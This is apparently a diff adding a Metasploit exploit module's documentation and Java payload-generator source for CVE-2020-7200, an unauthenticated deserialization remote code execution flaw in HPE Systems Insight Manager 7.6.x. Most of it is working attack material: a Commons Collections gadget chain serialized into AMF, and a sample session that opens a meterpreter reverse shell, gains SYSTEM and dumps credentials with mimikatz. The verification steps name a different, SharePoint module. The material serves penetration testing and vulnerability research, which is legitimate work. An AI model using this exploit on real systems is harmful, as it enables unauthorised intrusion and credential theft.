CVE-2020-7200 - HPE Systems Insight Manager 7.6.x Unauthenticated RCE via AMF Deserialization

documentation/modules/exploit/windows/http/hpe_sim_76_amf_deserialization.md

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+## Vulnerable Application
+A remotely exploitable vulnerability exists within HPE System Insight Manager (SIM) version 7.6.x that can be
+leveraged by a remote unauthenticated attacker to execute code within the context of HPE System Insight
+Manager's `hpsimsvc.exe` process, which runs with administrative privileges. The vulnerability occurs due
+to a failure to validate data during the deserialization process when a user submits a POST request to
+the `/simsearch/messagebroker/amfsecure` page.
+
+This module exploits this vulnerability by leveraging an outdated copy of Commons Collection, namely
+3.2.2, that ships with HPE SIM, to gain RCE as the administrative user running HPE SIM.
+
+### Installing HP SIM 7.6
+1. Set up a Windows Server 2016 VM.
+1. Sign up for a HP login if you do not have one already. You can use a throw away email address here.
+1. Download HPE SIM from https://myenterpriselicense.hpe.com/cwp-ui/download/swd/product/details/HPSIM-Win-7.x.
+1. Search for `Turn Windows Features On or Off`, select `Role-based or feature-based installation`, and click `Next`, until you see `Select features`.
+1. Check `SNMP Service` and `.NET Framework 3.5 Features`, and click `Next`, then `Install`. You may need to be connected to the internet to install .NET 3.5.
+1. Download SQL Server 2016 SP2 Express from https://www.microsoft.com/en-us/download/details.aspx?id=56840 and run the installer.
+1. Open `Computer Management` and then go to `Computer Management (Local)->Services and Applications->SQL Server Configuration Manager->SQL Server Network Configuration->Protocols for SQLEXPRESS` and double click on `TCP/IP`.
+1. Set `Enabled` to `Yes` under the `Protocol` tab.
+1. Click on the `IP Addresses` tab and set all `TCP Dynamic Ports` fields from `0` to an empty field, and set all `TCP Port` fields to `1433`. Then click the `Apply` button.
+1. Restart the SQL service by running `sc stop MSSQL$SQLEXPRESS` and then after a few seconds, run `sc start MSSQL$SQLEXPRESS`
+1. Run the HPE SIM installer and when it gets to the `Database Configuration` page, it should default to `Use SQL/SQL Express`.
+1. Ensure at this point that the username is `Administrator` (or whatever the name of the administrative user you are installing as is), and the `Domain` and `Host` values are correct, and that the port is `1433`.
+1. For the `Password` field, enter the password of the `Administrator` (or whatever the name of the administrative user you are installing as is), and click the `Next` button.
+1. Click `Typical` under the installation option and then select `Next`.
+1. On the `Service Account Credentials` screen, enter the password for the `Administrative` user and click `Next`. Then click `Install`.
+1. Wait for installation to complete, this could take up to 30 min.
+1. Verify that you can view https://127.0.0.1:50000/simsearch/messagebroker/amfsecure and that the page returns a HTTP 200 OK response code.
+
+## Verification Steps
+
+1. Install the application ensure port 50000 is open on the target and that the `/simsearch/messagebroker/amfsecure` page is accessible.
+1. Start msfconsole
+1. Do: `use exploit/windows/http/sharepoint_data_deserialization`
+1. Set the `RHOSTS` option.
+1. Set the `TARGET` option if desired.
+1. Set an appropriate payload for the `PAYLOAD` option.
+1. Set any additional options as required by the previously selected payload
+1. Run the exploit
+
+## Options
+
+## Scenarios
+
+### SIM_7.6_Z7550-96287 on Server 2016
+
+```
+msf6 > use exploit/windows/http/hpe_sim_76_amf_deserialization
+[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
+msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set RHOSTS 172.27.145.59
+RHOSTS => 172.27.145.59
+msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set LHOST 172.27.150.115
+LHOST => 172.27.150.115
+msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > show options
+
+Module options (exploit/windows/http/hpe_sim_76_amf_deserialization):
+
+   Name       Current Setting  Required  Description
+   ----       ---------------  --------  -----------
+   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
+   RHOSTS     172.27.145.59    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
+   RPORT      50000            yes       The target port (TCP)
+   SSL        true             no        Negotiate SSL/TLS for outgoing connections
+   TARGETURI  /                yes       The base path to the HPE SIM server
+   VHOST                       no        HTTP server virtual host
+
+
+Payload options (windows/x64/meterpreter/reverse_tcp):
+
+   Name      Current Setting  Required  Description
+   ----      ---------------  --------  -----------
+   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
+   LHOST     172.27.150.115   yes       The listen address (an interface may be specified)
+   LPORT     4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   1   Windows Powershell
+
+
+msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > exploit
+
+[*] Started reverse TCP handler on 172.27.150.115:4444
+[*] Executing automatic check (disable AutoCheck to override)
+[+] The target is vulnerable. Target returned java.lang.NullPointerException in its 200 OK response!
+[*] Sending stage (200262 bytes) to 172.27.145.59
+[*] Meterpreter session 1 opened (172.27.150.115:4444 -> 172.27.145.59:53349) at 2021-03-08 16:04:52 -0600
+
+meterpreter > getuid
+Server username: WIN-QKA9JKS5MVU\Administrator
+meterpreter > getprivs
+
+Enabled Process Privileges
+==========================
+
+Name
+----
+SeAssignPrimaryTokenPrivilege
+SeBackupPrivilege
+SeChangeNotifyPrivilege
+SeCreateGlobalPrivilege
+SeCreatePagefilePrivilege
+SeCreateSymbolicLinkPrivilege
+SeCreateTokenPrivilege
+SeDebugPrivilege
+SeImpersonatePrivilege
+SeIncreaseBasePriorityPrivilege
+SeIncreaseQuotaPrivilege
+SeIncreaseWorkingSetPrivilege
+SeLoadDriverPrivilege
+SeLockMemoryPrivilege
+SeManageVolumePrivilege
+SeProfileSingleProcessPrivilege
+SeRemoteShutdownPrivilege
+SeRestorePrivilege
+SeSecurityPrivilege
+SeShutdownPrivilege
+SeSystemEnvironmentPrivilege
+SeSystemProfilePrivilege
+SeSystemtimePrivilege
+SeTakeOwnershipPrivilege
+SeTimeZonePrivilege
+SeUndockPrivilege
+
+meterpreter > getsystem
+...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
+meterpreter > load kiwi
+Loading extension kiwi...
+  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
+ .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
+ ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
+ ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
+ '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
+  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/
+
+Success.
+meterpreter > creds_all
+[+] Running as SYSTEM
+[*] Retrieving all credentials
+msv credentials
+===============
+
+Username       Domain           NTLM                              SHA1
+--------       ------           ----                              ----
+Administrator  WIN-QKA9JKS5MVU  *censored*                        *censored*
+
+wdigest credentials
+===================
+
+Username          Domain           Password
+--------          ------           --------
+(null)            (null)           (null)
+Administrator     WIN-QKA9JKS5MVU  (null)
+WIN-QKA9JKS5MVU$  WORKGROUP        (null)
+
+kerberos credentials
+====================
+
+Username                 Domain           Password
+--------                 ------           --------
+(null)                   (null)           (null)
+Administrator            WIN-QKA9JKS5MVU  (null)
+MSSQL$SQLEXPRESS         NT Service       (null)
+SQLTELEMETRY$SQLEXPRESS  NT Service       (null)
+win-qka9jks5mvu$         WORKGROUP        (null)
+
+
+meterpreter >
+```

external/source/exploits/CVE-2020-7200/OlderDeserialization/OlderDeserialization.iml

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+<?xml version="1.0" encoding="UTF-8"?>
+<module type="JAVA_MODULE" version="4">
+  <component name="NewModuleRootManager" inherit-compiler-output="true">
+    <exclude-output />
+    <content url="file://$MODULE_DIR$">
+      <sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
+    </content>
+    <orderEntry type="inheritedJdk" />
+    <orderEntry type="sourceFolder" forTests="false" />
+    <orderEntry type="library" name="Dependancies" level="project" />
+  </component>
+</module>

external/source/exploits/CVE-2020-7200/OlderDeserialization/src/Test1.java

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+import flex.messaging.io.SerializationContext;
+import flex.messaging.io.amf.*;
+
+import javassist.*;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import org.jgroups.blocks.ReplicatedTree;
+
+
+import java.io.*;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.Class;
+import java.nio.file.Files;
+import java.util.*;
+
+public class Test1 {
+    public static void main(String[] args) throws Exception{
+        // Add a new field called state which is a byte array to org.jgroups.blocks.ReplicatedTree
+        ClassPool pool = ClassPool.getDefault();
+        CtClass ctClass = pool.get("org.jgroups.blocks.ReplicatedTree");
+        CtClass ctClass1 = pool.get("byte[]");
+        CtField ctField = new CtField(ctClass1, "state", ctClass);
+        ctClass.addField(ctField);
+
+        // Remove the default getState method and replace it with our own getState method that
+        // just returns the state field that we added in above.
+        ctClass.removeMethod(ctClass.getDeclaredMethod("getState"));
+        CtMethod ctMethod = CtNewMethod.make("public byte[] getState(){ return this.state; }", ctClass);
+        ctClass.addMethod(ctMethod);
+
+        // Remember that the ByteArrayOutputStream is cast into an ObjectOutputStream, aka the
+        // ObjectOutputStream relies on an underlying ByteArrayOutputStream, as can be seen in
+        // the code below. Here we also create an object that will call calc.exe and write that
+        // resulting object into the object output stream, before then closing the stream.
+        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
+        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
+        objectOutputStream.writeObject(getObject2("PAYLOAD"));
+        objectOutputStream.close();
+
+        // Convert the byte array containing the object stream into
+        // a byte array and save that into secondObj
+        byte[] secondObj = byteArrayOutputStream.toByteArray();
+
+        // First we create a ReplicatedTree object here, which is part of our desire
+        // to get org.jgroups.block.ReplicatedTree.setState() to be called. Note that we use
+        // ctClass, aka the adjusted class that had the "state" field added and the "getState" method
+        // adjusted, to do this. Then set the "state" field to be accessible and set its value
+        // to that of secondObj, or the object stream created by getObject2().
+        Constructor constctor = ctClass.toClass().getConstructor();
+        ReplicatedTree replicatedTree = (ReplicatedTree) constctor.newInstance();
+        Field f1 = replicatedTree.getClass().getDeclaredField("state");
+        f1.setAccessible(true);
+        f1.set(replicatedTree, secondObj);
+
+        // Now that the real object returned by getObject2() has been wrapped in a ReplicatedTree object,
+        // serialize this object and wrap it further into an AMF object, then return its byte stream and
+        // save this into the byte array "ser".
+        byte[] ser = serialize(replicatedTree);
+
+        // Finally write the output via a FileOutputStream to the file "emp.ser" on disk.
+        FileOutputStream fileOutputStream = new FileOutputStream("emp.ser");
+        fileOutputStream.write(ser);
+        fileOutputStream.close();
+
+        // Now that we have written all of the bytes to disk, lets find the path of the emp.ser file on disk, pass that
+        // into File.readAllBytes, and then pass the resulting byte array and save into into sercontent, then deserialize that
+        // content to check the deserialization works properly.
+        byte[] serContent = Files.readAllBytes((new File("emp.ser")).toPath());
+        deserialize(serContent);
+    }
+
+    public static byte[] serialize(Object data) throws IOException {
+        // Create the MessageBody element that will contain the data to be recreated using readObject().
+        // Recall the chart at https://www.inoreader.com/camo/snhlUtNtXaxve88gsw99xlxXbXWDf4YGK8v6NpdVn1bY,b64/aHR0cHM6Ly9jZG4taW1hZ2VzLTEubWVkaXVtLmNvbS9tYXgvMTAyNC8xKkdHbkVzTWU5N3FUR1VlNGhiVkl0SUEucG5n
+        // if you need more info on this.
+        MessageBody body = new MessageBody();
+        body.setData(data);
+
+        // Wrap it the MessageBody in an ActionmMessage which we will call "body", which is needed for proper deserialization to occur, as the HTTP
+        // end point is expecting a ActionMessage that is then passed to SerializationFilter.invoke(). You can further tell
+        // this via AmfMessageDeserializer's readMessage() function which expects a ActionMessage (aka the "message" variable
+        // here), as well as a ActionContext (provided via SerializationContext.getSerializationContext() here).
+        ActionMessage message = new ActionMessage();
+        message.addBody(body);
+
+        // Serialize the ActionMessage object, aka message, using a new AmfMessageSerializer instance into the ByteArrayOutputStream represented by "out".
+        // Then call out.toByteArray() to get the byte array version of the resulting serialized object.
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        AmfMessageSerializer serializer = new AmfMessageSerializer();
+        serializer.initialize(SerializationContext.getSerializationContext(), out, null);
+        serializer.writeMessage(message);
+
+        return out.toByteArray();
+    }
+
+    public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
+        // Since we take in a byte array, lets first create a ByteArrayInputStream, which is the
+        // opposite of the ByteArrayOutputStream that was created earlier when serializing the object,
+        // and pass it "amf", aka the byte array stream we want to process.
+        ByteArrayInputStream in = new ByteArrayInputStream(amf);
+
+        // Create a new AmfMessageDeserializer object to deserialize the AMF message that was serialized using AmfMessageSerializer.
+        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
+        deserializer.initialize(SerializationContext.getSerializationContext(), in, null); // Same initialization function call, don't wnat to change this.
+        deserializer.readMessage(new ActionMessage(), new ActionContext()); // Pass in a new ActionContext object to initialize, as well as an ActionMessage object to initialize.
+    }
+
+
+    public static Serializable getObject2(final String command) throws Exception {
+
+        final String[] execArgs = new String[] { command };
+
+        final Transformer[] transformers = new Transformer[] {
+                new ConstantTransformer(Runtime.class),
+                new InvokerTransformer("getMethod", new Class[] {
+                        String.class, Class[].class }, new Object[] {
+                        "getRuntime", new Class[0] }),
+                new InvokerTransformer("invoke", new Class[] {
+                        Object.class, Object[].class }, new Object[] {
+                        null, new Object[0] }),
+                new InvokerTransformer("exec",
+                        new Class[] { String.class }, execArgs),
+                new ConstantTransformer(1) };
+
+        Transformer transformerChain = new ChainedTransformer(transformers);
+
+        final Map innerMap = new HashMap();
+
+        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
+
+        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
+
+        HashSet map = new HashSet(1);
+        map.add("foo");
+        Field f = null;
+        try {
+            f = HashSet.class.getDeclaredField("map");
+        } catch (NoSuchFieldException e) {
+            f = HashSet.class.getDeclaredField("backingMap");
+        }
+
+        f.setAccessible(true);
+        HashMap innimpl = (HashMap) f.get(map);
+
+        Field f2 = null;
+        try {
+            f2 = HashMap.class.getDeclaredField("table");
+        } catch (NoSuchFieldException e) {
+            f2 = HashMap.class.getDeclaredField("elementData");
+        }
+
+        f2.setAccessible(true);
+        Object[] array = (Object[]) f2.get(innimpl);
+
+        Object node = array[0];
+        if(node == null){
+            node = array[1];
+        }
+
+        Field keyField = null;
+        try{
+            keyField = node.getClass().getDeclaredField("key");
+        }catch(Exception e){
+            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
+        }
+
+        keyField.setAccessible(true);
+        keyField.set(node, entry);
+
+        return map;
+
+    }
+}